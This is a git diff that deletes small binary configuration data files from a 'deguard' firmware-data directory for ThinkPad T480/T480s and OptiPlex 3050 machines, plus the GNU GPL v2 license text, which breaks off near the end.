a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/header b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/header deleted file mode 100644 index 4b75556082e2c00ea8a888450d05627b20f0ec61..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 LcmZQ%U|<9Q00{sC diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/namestr b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/namestr deleted file mode 100644 index 6f8c6989c84e6c19cdc026f95c6148b436fd4486..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 48 ecmWG2%1_J8NmVdlKn1}iiFqlBMJcGF3=9Cwn+8(= diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof0 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof0 deleted file mode 100644 index dab085a9f50507ce36b5fd1a2c47661f81937372..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 120 zcmWeozo*7wbe=&#T|k`y2r?KL8F+v+a{%L81|x?5f{Ki9nHiWF{2YLMAYe-Z(e?~& eDG-`170QRwY#C5KlxE9>@}V@B0OK7Npg912zZd}k diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof1 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof1 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof10 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof10 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof2 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof2 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof3 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof3 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof4 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof4 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof5 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof5 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof6 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof6 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof7 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof7 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof8 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof8 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof9 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof9 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/eom b/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/eom deleted file mode 100644 index 6b2aaa764..000000000 --- a/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/eom +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/ish_policy b/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/ish_policy deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/mctp/device_ports b/blobs/t480/deguard/data/delta/optiplex_3050/home/mctp/device_ports deleted file mode 100644 index 593f4708db84ac8fd0f5cc47c634f38c013fe9e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 LcmZQzU|;|M00aO5 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/cfgmgr/cfg_rules b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/cfgmgr/cfg_rules deleted file mode 100644 index 91423d6906ebdae53f92532fc69f888190ce4572..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 660 zcmY+>O-=$q6a?U>4vI#Q1{4*QKLG(10bxy$#1+Y$z`L;VAY97>a0{R+shK<%o%&Mg zem&_iGrKg4<{^xZWP}~d>`r8aMKb%0jIdLg{TWssTj{Lp&t=ZoVkqwg{~2A{=VZ>o zytKcP`CSG17a8O|vMBRxNk&*%=ALWk8|RA5v$rzB?qv4&@&&RgbLNA*i2qiPax+?n zCz)q!&UF}X#P<&k`77S7n@Nvs$=}PL&9jWKw#=CwtmHkr>Jj!L^MCfRl0ALrf%YKm c)%nf&9p+iyHFW)l^T>JZJaPVXo;uH*4=I}$YybcN diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid1 b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid1 deleted file mode 100644 index 189a0a7f9..000000000 --- a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid1 +++ /dev/null @@ -1 +0,0 @@ -´n$Ï \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid2 b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid2 deleted file mode 100644 index 9aab9a80e..000000000 --- a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid2 +++ /dev/null @@ -1 +0,0 @@ -¿ãt` \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid3 b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid3 deleted file mode 100644 index 6eb8dc476..000000000 --- a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid3 +++ /dev/null @@ -1 +0,0 @@ -È®ï \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/pwdmgr/segreto b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/pwdmgr/segreto deleted file mode 100644 index 27f4db070..000000000 --- a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/pwdmgr/segreto +++ /dev/null @@ -1 +0,0 @@ -÷Þк \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/emu_fuse_map b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/emu_fuse_map deleted file mode 100644 index e51cb421e9112ea7a4411231ec508df3a8b775e2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7 OcmZQ$abVzK=mP)(I{@VX diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/fuse_ip_base b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/fuse_ip_base deleted file mode 100644 index 756890b668082baad0045ee92ca8d392a133368d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 18 Zcmb1O&|+|4*uZdzVHZ;{QwGxpCIBLs1R?+c diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/plat_n_sku b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/plat_n_sku deleted file mode 100644 index 3b549bfe91fe908ceec9ec613c2669ed8bd61508..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 Lcmd;JU}yjU0Hgqk diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/invokemebx b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/invokemebx deleted file mode 100644 index 593f4708db84ac8fd0f5cc47c634f38c013fe9e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 LcmZQzU|;|M00aO5 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/mbp b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/mbp deleted file mode 100644 index dd19cff43f2c1640d0fef3b3813dfdfa7c43c845..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 52 zcmd;OV_;z9U}9io0Me{X42mMcPK-=U46Z@nVi`G^7~BK?HL@`>0c9B)SRgb50C?~P AQvd(} diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/gpio/csme_pins b/blobs/t480/deguard/data/delta/thinkpad_t480/home/gpio/csme_pins deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/dynregs b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/dynregs deleted file mode 100644 index 1cbeceebe10779124f952593fb481732944701cf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 28 icmb1PU}RuoU|?VpV7)VQ&P)b-AX`m<@s5B|NErY*umwK= diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/header b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/header deleted file mode 100644 index 4b75556082e2c00ea8a888450d05627b20f0ec61..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 LcmZQ%U|<9Q00{sC diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/namestr b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/namestr deleted file mode 100644 index b0f3735c08f70e800a5dcce8ba8a2ef5ac9b075e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 48 ZcmeZC&C4&#XTSi#C5d?{iA5>s5&*Dj1*HH0 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof1 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof1 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof10 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof10 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof2 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof2 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof3 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof3 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof4 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof4 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof5 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof5 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof6 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof6 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof7 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof7 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof8 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof8 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof9 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof9 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/eom b/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/eom deleted file mode 100644 index 6b2aaa764..000000000 --- a/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/eom +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/ish_policy b/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/ish_policy deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/mctp/device_ports b/blobs/t480/deguard/data/delta/thinkpad_t480/home/mctp/device_ports deleted file mode 100644 index 593f4708db84ac8fd0f5cc47c634f38c013fe9e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 LcmZQzU|;|M00aO5 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/Bist/auto_config b/blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/Bist/auto_config deleted file mode 100644 index 009d73a31973e2082917509b8596bb343d4265ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 LcmZQ0l|Qv41yvG4#=e9z?u+=D-yz9@8ZUTcsXyt609Z&}1^_We1G@kK diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/gpio/csme_pins b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/gpio/csme_pins deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/dynregs b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/dynregs deleted file mode 100644 index 912ab3579185250403dc1db1cb95ed24b1e7f2ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 28 icmb1PU}RuoU|?VpV7)W*s5&*Dj1*HH0 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof1 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof1 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof10 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof10 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof2 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof2 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof3 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof3 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof4 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof4 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof5 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof5 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof6 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof6 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof7 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof7 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof8 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof8 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof9 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof9 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/eom b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/eom deleted file mode 100644 index 6b2aaa764..000000000 --- a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/eom +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/ish_policy b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/ish_policy deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mctp/device_ports b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mctp/device_ports deleted file mode 100644 index 593f4708db84ac8fd0f5cc47c634f38c013fe9e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 LcmZQzU|;|M00aO5 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/Bist/auto_config b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/Bist/auto_config deleted file mode 100644 index f66c9cf4c9672fa2832bce76f4082fd97b823506..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 LcmZQ%U|;|M00;mA diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/cfgmgr/cfg_rules b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/cfgmgr/cfg_rules deleted file mode 100644 index 6243fe92703b15ca1f7f387ba5c4d899a79c569b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 660 zcmY+=OHKk|5Cq^>K!kw6@D_P1@igPOP^;RM`;4F~aZ-U6s51t}Jj`cnC)|Cu&3 zOPGZhK{|6oBkY#;E<__NOnV=p5q3v=9~Iw=W3X@rU?Rd<6FI7iRzf diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid1 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid1 deleted file mode 100644 index b508e576d..000000000 --- a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid1 +++ /dev/null @@ -1 +0,0 @@ -Zâ# \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid2 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid2 deleted file mode 100644 index 96116535e..000000000 --- a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid2 +++ /dev/null @@ -1 +0,0 @@ -²R˦ \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid3 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid3 deleted file mode 100644 index 7f55b1e93..000000000 --- a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid3 +++ /dev/null @@ -1 +0,0 @@ -Œ¼6 \ No newline at end of file diff --git a/blobs/t480/deguard/data/fpfs/optiplex_3050 b/blobs/t480/deguard/data/fpfs/optiplex_3050 deleted file mode 100644 index c3493e18862c9671102fd85f3cad1006b8b58f6b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 256 zcmZQz0D+KDAYfo{U}OkjWjNr%;J^YF#zR>6eQ5X(1bCESmBP@oVCzO#%>XOz?EKE> rZ>Jqp++35a9MK>;Axm{(U!-G7q3u5=tOlV8GD7)KhdZE2-0RR92 diff --git a/blobs/t480/deguard/doc/COPYING.txt b/blobs/t480/deguard/doc/COPYING.txt deleted file mode 100644 index d159169d1..000000000 --- a/blobs/t480/deguard/doc/COPYING.txt +++ /dev/null @@ -1,339 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 2, June 1991 - - Copyright (C) 1989, 1991 Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. By contrast, the GNU General Public -License is intended to guarantee your freedom to share and change free -software--to make sure the software is free for all its users. This -General Public License applies to most of the Free Software -Foundation's software and to any other program whose authors commit to -using it. (Some other Free Software Foundation software is covered by -the GNU Lesser General Public License instead.) You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -this service if you wish), that you receive source code or can get it -if you want it, that you can change the software or use pieces of it -in new free programs; and that you know you can do these things. - - To protect your rights, we need to make restrictions that forbid -anyone to deny you these rights or to ask you to surrender the rights. -These restrictions translate to certain responsibilities for you if you -distribute copies of the software, or if you modify it. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must give the recipients all the rights that -you have. You must make sure that they, too, receive or can get the -source code. And you must show them these terms so they know their -rights. - - We protect your rights with two steps: (1) copyright the software, and -(2) offer you this license which gives you legal permission to copy, -distribute and/or modify the software. - - Also, for each author's protection and ours, we want to make certain -that everyone understands that there is no warranty for this free -software. If the software is modified by someone else and passed on, we -want its recipients to know that what they have is not the original, so -that any problems introduced by others will not reflect on the original -authors' reputations. - - Finally, any free program is threatened constantly by software -patents. We wish to avoid the danger that redistributors of a free -program will individually obtain patent licenses, in effect making the -program proprietary. To prevent this, we have made it clear that any -patent must be licensed for everyone's free use or not licensed at all. - - The precise terms and conditions for copying, distribution and -modification follow. - - GNU GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License applies to any program or other work which contains -a notice placed by the copyright holder saying it may be distributed -under the terms of this General Public License. The "Program", below, -refers to any such program or work, and a "work based on the Program" -means either the Program or any derivative work under copyright law: -that is to say, a work containing the Program or a portion of it, -either verbatim or with modifications and/or translated into another -language. (Hereinafter, translation is included without limitation in -the term "modification".) Each licensee is addressed as "you". - -Activities other than copying, distribution and modification are not -covered by this License; they are outside its scope. The act of -running the Program is not restricted, and the output from the Program -is covered only if its contents constitute a work based on the -Program (independent of having been made by running the Program). -Whether that is true depends on what the Program does. - - 1. You may copy and distribute verbatim copies of the Program's -source code as you receive it, in any medium, provided that you -conspicuously and appropriately publish on each copy an appropriate -copyright notice and disclaimer of warranty; keep intact all the -notices that refer to this License and to the absence of any warranty; -and give any other recipients of the Program a copy of this License -along with the Program. - -You may charge a fee for the physical act of transferring a copy, and -you may at your option offer warranty protection in exchange for a fee. - - 2. You may modify your copy or copies of the Program or any portion -of it, thus forming a work based on the Program, and copy and -distribute such modifications or work under the terms of Section 1 -above, provided that you also meet all of these conditions: - - a) You must cause the modified files to carry prominent notices - stating that you changed the files and the date of any change. - - b) You must cause any work that you distribute or publish, that in - whole or in part contains or is derived from the Program or any - part thereof, to be licensed as a whole at no charge to all third - parties under the terms of this License. - - c) If the modified program normally reads commands interactively - when run, you must cause it, when started running for such - interactive use in the most ordinary way, to print or display an - announcement including an appropriate copyright notice and a - notice that there is no warranty (or else, saying that you provide - a warranty) and that users may redistribute the program under - these conditions, and telling the user how to view a copy of this - License. (Exception: if the Program itself is interactive but - does not normally print such an announcement, your work based on - the Program is not required to print an announcement.) - -These requirements apply to the modified work as a whole. If -identifiable sections of that work are not derived from the Program, -and can be reasonably considered independent and separate works in -themselves, then this License, and its terms, do not apply to those -sections when you distribute them as separate works. But when you -distribute the same sections as part of a whole which is a work based -on the Program, the distribution of the whole must be on the terms of -this License, whose permissions for other licensees extend to the -entire whole, and thus to each and every part regardless of who wrote it. - -Thus, it is not the intent of this section to claim rights or contest -your rights to work written entirely by you; rather, the intent is to -exercise the right to control the distribution of derivative or -collective works based on the Program. - -In addition, mere aggregation of another work not based on the Program -with the Program (or with a work based on the Program) on a volume of -a storage or distribution medium does not bring the other work under -the scope of this License. - - 3. You may copy and distribute the Program (or a work based on it, -under Section 2) in object code or executable form under the terms of -Sections 1 and 2 above provided that you also do one of the following: - - a) Accompany it with the complete corresponding machine-readable - source code, which must be distributed under the terms of Sections - 1 and 2 above on a medium customarily used for software interchange; or, - - b) Accompany it with a written offer, valid for at least three - years, to give any third party, for a charge no more than your - cost of physically performing source distribution, a complete - machine-readable copy of the corresponding source code, to be - distributed under the terms of Sections 1 and 2 above on a medium - customarily used for software interchange; or, - - c) Accompany it with the information you received as to the offer - to distribute corresponding source code. (This alternative is - allowed only for noncommercial distribution and only if you - received the program in object code or executable form with such - an offer, in accord with Subsection b above.) - -The source code for a work means the preferred form of the work for -making modifications to it. For an executable work, complete source -code means all the source code for all modules it contains, plus any -associated interface definition files, plus the scripts used to -control compilation and installation of the executable. However, as a -special exception, the source code distributed need not include -anything that is normally distributed (in either source or binary -form) with the major components (compiler, kernel, and so on) of the -operating system on which the executable runs, unless that component -itself accompanies the executable. - -If distribution of executable or object code is made by offering -access to copy from a designated place, then offering equivalent -access to copy the source code from the same place counts as -distribution of the source code, even though third parties are not -compelled to copy the source along with the object code. - - 4. You may not copy, modify, sublicense, or distribute the Program -except as expressly provided under this License. Any attempt -otherwise to copy, modify, sublicense or distribute the Program is -void, and will automatically terminate your rights under this License. -However, parties who have received copies, or rights, from you under -this License will not have their licenses terminated so long as such -parties remain in full compliance. - - 5. You are not required to accept this License, since you have not -signed it. However, nothing else grants you permission to modify or -distribute the Program or its derivative works. These actions are -prohibited by law if you do not accept this License. Therefore, by -modifying or distributing the Program (or any work based on the -Program), you indicate your acceptance of this License to do so, and -all its terms and conditions for copying, distributing or modifying -the Program or works based on it. - - 6. Each time you redistribute the Program (or any work based on the -Program), the recipient automatically receives a license from the -original licensor to copy, distribute or modify the Program subject to -these terms and conditions. You may not impose any further -restrictions on the recipients' exercise of the rights granted herein. -You are not responsible for enforcing compliance by third parties to -this License. - - 7. If, as a consequence of a court judgment or allegation of patent -infringement or for any other reason (not limited to patent issues), -conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot -distribute so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you -may not distribute the Program at all. For example, if a patent -license would not permit royalty-free redistribution of the Program by -all those who receive copies directly or indirectly through you, then -the only way you could satisfy both it and this License would be to -refrain entirely from distribution of the Program. - -If any portion of this section is held invalid or unenforceable under -any particular circumstance, the balance of the section is intended to -apply and the section as a whole is intended to apply in other -circumstances. - -It is not the purpose of this section to induce you to infringe any -patents or other property right claims or to contest validity of any -such claims; this section has the sole purpose of protecting the -integrity of the free software distribution system, which is -implemented by public license practices. Many people have made -generous contributions to the wide range of software distributed -through that system in reliance on consistent application of that -system; it is up to the author/donor to decide if he or she is willing -to distribute software through any other system and a licensee cannot -impose that choice. - -This section is intended to make thoroughly clear what is believed to -be a consequence of the rest of this License. - - 8. If the distribution and/or use of the Program is restricted in -certain countries either by patents or by copyrighted interfaces, the -original copyright holder who places the Program under this License -may add an explicit geographical distribution limitation excluding -those countries, so that distribution is permitted only in or among -countries not thus excluded. In such case, this License incorporates -the limitation as if written in the body of this License. - - 9. The Free Software Foundation may publish revised and/or new versions -of the General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - -Each version is given a distinguishing version number. If the Program -specifies a version number of this License which applies to it and "any -later version", you have the option of following the terms and conditions -either of that version or of any later version published by the Free -Software Foundation. If the Program does not specify a version number of -this License, you may choose any version ever published by the Free Software -Foundation. - - 10. If you wish to incorporate parts of the Program into other free -programs whose distribution conditions are different, write to the author -to ask for permission. For software which is copyrighted by the Free -Software Foundation, write to the Free Software Foundation; we sometimes -make exceptions for this. Our decision will be guided by the two goals -of preserving the free status of all derivatives of our free software and -of promoting the sharing and reuse of software generally. - - NO WARRANTY - - 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY -FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN -OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES -PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED -OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS -TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE -PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, -REPAIR OR CORRECTION. - - 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR -REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, -INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING -OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED -TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY -YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER -PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE -POSSIBILITY OF SUCH DAMAGES. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -convey the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope 